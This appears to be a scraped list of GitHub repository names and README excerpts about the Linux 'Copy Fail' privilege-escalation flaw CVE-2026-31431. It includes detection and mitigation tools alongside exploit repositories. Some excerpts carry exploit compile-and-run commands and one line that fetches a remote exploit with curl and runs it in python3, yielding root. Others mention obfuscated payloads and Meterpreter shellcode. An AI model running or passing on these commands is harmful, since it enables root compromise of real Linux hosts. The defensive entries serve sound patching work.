copy.fail-mitigation-MLM

在 Multi-Linux Manager 中创建新的配置通道（State Channel） 使用 copy-fail.sls 文件中的代码，在 Multi-Linux Manager 中创建一个新的配置通道（State Channel）。将该配置通道分配给您的所有机器并运行它，或执行 Highstate。 这是一个临时修复方案！...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash algunos usos: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 - Script de verificación y mitigación Este repositorio documenta un script Bash utilizado para evaluar la exposición a CVE-2026-31431 en hosts Linux, con un enfoque en Ubuntu, y para aplicar una mitigación simple bloqueando el módulo algifaead. Versiones de idioma: Inglés: README.m...

cve-2026-31431

CVE-2026-31431 Copy Fail Prueba Este repositorio contiene un archivo de flujo de trabajo para GitHub Actions con el fin de probar si el ejecutor de acciones está afectado por CVE-2026-31431. Puedes realizar la prueba por ti mismo; solo crea un repositorio a partir de esta plantilla y ejecuta...

ExploiteameEsta

ExploiteameEsta CVE-2021-30937 vulnerability checking app ¿Qué es esto? Este proyecto es una aplicación para dispositivos iOS dedicada a iOS 15.0-15.1.1. Podrás probar si la vulnerabilidad mencionada arriba es compatible con tu dispositivo o no. Se te mostrarán varias alertas y ventanas emergente...

copy-fail-CVE-2026-31431-C

copy-fail-CVE-2026-31431-C 已在 ubuntu 24、ubuntu 25、kali 2026 上验证。 gcc -o exploit exploit.c -lz && chmod +x exploit && ./exploit 静态编译 sudo apt install zlib1g-dev gcc -static -o exploit exploit.c -lz 或 aarch64-linux-gnu-gcc -o exploit exploit.c -lz -static...

CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script

CVE-2026-31431 — Copy Fail — 漏洞检测脚本 仅检测。可用的 PoC 已存在于 copy.fail/exploit。 此脚本面向系统管理员和安全团队，用于确定自身是否受影响——或在修补后是否仍然受影响。 这是什么？ 2026年4月29日，一个名为 Copy Fail （CVE-2026-31431）的漏洞由 Xint 代码研究团队公开披露。这是一个逻辑缺陷，自大约 2017年 起便悄然存在于 Linux 内核中——近十年之久——它允许任何非特权本地用户获取 root 权限。 不是"在特定条件下、靠点运气和顺风才能获取 root"。而是……直接获取...

CVE-2026-31431-exp

根据 https://github.com/theori-io/copy-fail-CVE-2026-31431 改编而来。 添加了 payload 加密混淆，cache 回写提升系统稳定性，自适应 chunk，0依赖，多架构支持（x86、arm、i386等）等特性。 理论上可以在内核 2.6.38 - 6.18 之间利用。 syscache、tinybin（体积更小） 是 c 语言版本 sys-events-proc 是 rust 版本 保证绿色，直接用即可，源码已开放。 欢迎使用本工具检测系统是否安全。 顺便请关注我的笔记项目，一起做一个免费好用的笔记软件，让知识管理更简单。...

copyfail-c

copyfail-c 用于研究 Copy Fail（CVE-2026-31431）的最小 C 语言复现。 该仓库包含一个围绕 Linux 内核 AFALG 接口构建的紧凑 C 语言实现，用于漏洞研究、行为分析和受控复现。 仓库结构 . ├── src/ C 源代码 ├── dist/ 构建后的二进制产物 构建 make 生成的二进制文件为 ./dist/copyfail。 运行 该程序需要一个输入文件路径参数。例如： ./dist/copyfail "$which su" 以只读方式打开，并在每次迭代中用作 splice 的源，始终从文件偏移量 0 开始。一个常见的选择是可读的...

cve-2026-31431

CVE-2026-31431 Copy Fail 检测与缓解工具 本项目提供一组 Bash 脚本，用于检测和缓解 CVE-2026-31431 （又称 "Copy Fail"）Linux 内核本地权限提升漏洞。 漏洞简介 CVE 编号 : CVE-2026-31431 漏洞类型 : 本地权限提升（Local Privilege Escalation） 影响组件 : Linux Kernel - AFALG socket / AEAD 加密接口 修复提交 : a664bf3d603d 及之后补丁 公开名称 : Copy Fail 该漏洞存在于 Linux 内核的 AFALG socket...

CVE-2026-31431-Linux-Copy-Fail

CVE-2026-31431 - Linux Copy-Fail 漏洞利用（Rust） 一个针对 CVE-2026-31431（Copy-Fail）的本地权限提升漏洞利用的 Rust 实现。 它允许执行自定义 shellcode（例如 Meterpreter ） 简介 Xint 披露了 CVE-2026-31431，这是一个任意页缓存写入漏洞，通过链式利用 AFALG 和 splice 实现 4 字节写入原语。 来源：Copy Fail: 732 Bytes to Root on Every Major Linux Distribution 免责声明...

CVE-2026-31431-old-python

CVE-2026-31431 fork 自：https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copyfailexp.py 问题 低于 3.10 的 Python 版本没有 os.splice 实现。 解决方案 用于 splice 的 Ctypes Python 封装，可在旧版 Python 上运行 已在 python 3.7.3 上测试通过...

CVE-2026-31431-cleaned

copyFail.py — CVE 漏洞利用分析报告 概述 copyFail.py 是一个概念验证（PoC）漏洞利用程序，演示了 Linux 内核中的一个本地权限提升 漏洞。通过滥用 splice 系统调用并结合精心构造的套接字选项，该漏洞利用程序能够破坏任意内核内存。它利用这一能力将磁盘上的任意 setuid 二进制文件覆盖为自定义的 ELF 可执行文件，然后运行被篡改的二进制文件以获得提升的权限。 攻击类型： 本地权限提升（LPE） 影响： 完全 root shell 访问权限（当针对 setuid-root 二进制文件时） 复杂度： 低（单个脚本，无外部依赖） 用法：...

CVE-2026-31431

CVE-2026-31431（复制失败）检查器 检查 Linux 主机是否存在 CVE-2026-31431 漏洞并应用缓解措施。 文件 checkcve202631431.yml - 用于验证和修补的 Ansible Playbook revertcve202631431.yml - 用于撤销缓解措施的 Ansible Playbook runcheck.sh - 用于在本地或远程执行验证的脚本 runrevert.sh - 用于在本地或远程撤销更改的脚本 执行示例 1. 验证漏洞（runcheck.sh） ./runcheck.sh 选择 'l' 表示本地 或直接执行：...

copy-fail-cve-2026-31431

Copy Fail 的 CVE 检查器（CVE-2026-31431） 作者/贡献者 ：Patrick Doyle（作者/维护者）、Effie Renard（合著者）、Kimberly-Lee Banks（合著者）、Chris F.（支持/代码审查） AI 披露 ：Claude Code 用于编写测试文件、编写测试数据以及进行代码安全审查。 所有编辑均由其中一位贡献者手动审核。 描述 单个静态链接的 Go 二进制文件，用于对 Linux 主机暴露于 CVE-2026-31431 的风险进行分类。 该工具是被动式...

copy-fail-go

Copy Fail - CVE-2026-31431 - golang 版本 ⚠️ 警告：该程序极其危险且属于实验性质。清除漏洞利用需要手动清理。使用风险自负！ 技术分析文章 原始仓库 运行 运行前检查 /usr/bin/su： user@pc:$ hexdump -n 300 -x /usr/bin/su 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0003 003e 0001 0000 44d0 0000 0000 0000 0000020 0040 0000 0000 0000 d1c0 0000 0000 0000...

copy-fail-blocker

copy-fail-blocker 针对 CVE-2026-31431（“Copy Fail”）及 Dirty Frag 的 RxRPC 变体的 BPF-LSM 缓解方案，同时适用于依赖用户态访问内核侧就地加密路径（可通过 AFALG 或 AFRXRPC 套接字族访问）的类似权限提升漏洞。 一个小型 DaemonSet 在每个节点上将一个 BPF-LSM 程序附加到 socketcreate 钩子。该程序对任何用户态 socketAFALG, ... 或 socketAFRXRPC, ... 调用返回 -EPERM，无论进程能力、命名空间或 seccomp 配置文件如何。内核内部的...

copy-fail-CVE-2026-31431-C

copy-fail-CVE-2026-31431-C 已在 ubuntu 18.04、ubuntu 20.04、ubuntu 22.04、kali 2024、kali 2025、kali 2026 上验证 gcc -o exploit exploit.c -lz && chmod +x exploit && ./exploit 已在 ubuntu 25.04 arm64 上验证 gcc -o exploit exploitaarch64.c -lz && chmod +x exploit && ./exploit...

CVE-2026-31431-C

Copy-Fail 漏洞利用（CVE-2026-31431） 针对 Linux 内核写时复制漏洞的本地权限提升利用，通过 AFALG 套接字和 splice 操作实现。 概述 该利用程序滥用 Linux 加密子系统（AFALG）中的内核级内存损坏条件，并结合零拷贝机制（splice）来修改内存中的特权二进制文件。 通过在运行时修补 /usr/bin/su，无需有效凭据即可提升至 root 权限。 使用方法 静态编译以便在任何 Linux 环境中使用，无需 Python 或额外库。 gcc -o exploit exploit.c -lz -static ./exploit 工作原理 1...

CVE-2025-1094-Lab-Setup

🛠️ CVE-2025-1094 实验环境搭建 ⚠️ 免责声明 本实验仅用于教育和研究目的 。 请勿 将此处演示的任何信息或技术用于您不拥有或未经明确授权测试的系统。未经授权使用这些方法可能违反法律 并导致严重处罚。 📌 概述 CVE-2025-1094 是一个影响 PostgreSQL 交互式工具 psql 的严重漏洞，在 14.15 及更早版本中被发现。 攻击者可以利用该漏洞执行 SQL 注入 ，在特定条件下可导致远程代码执行（RCE） 。 🧨 根本原因 该漏洞源于 psql 对畸形 UTF-8 输入处理不当 。 由于验证不足，攻击者可以注入任意 SQL 或元命令（如 !（shell...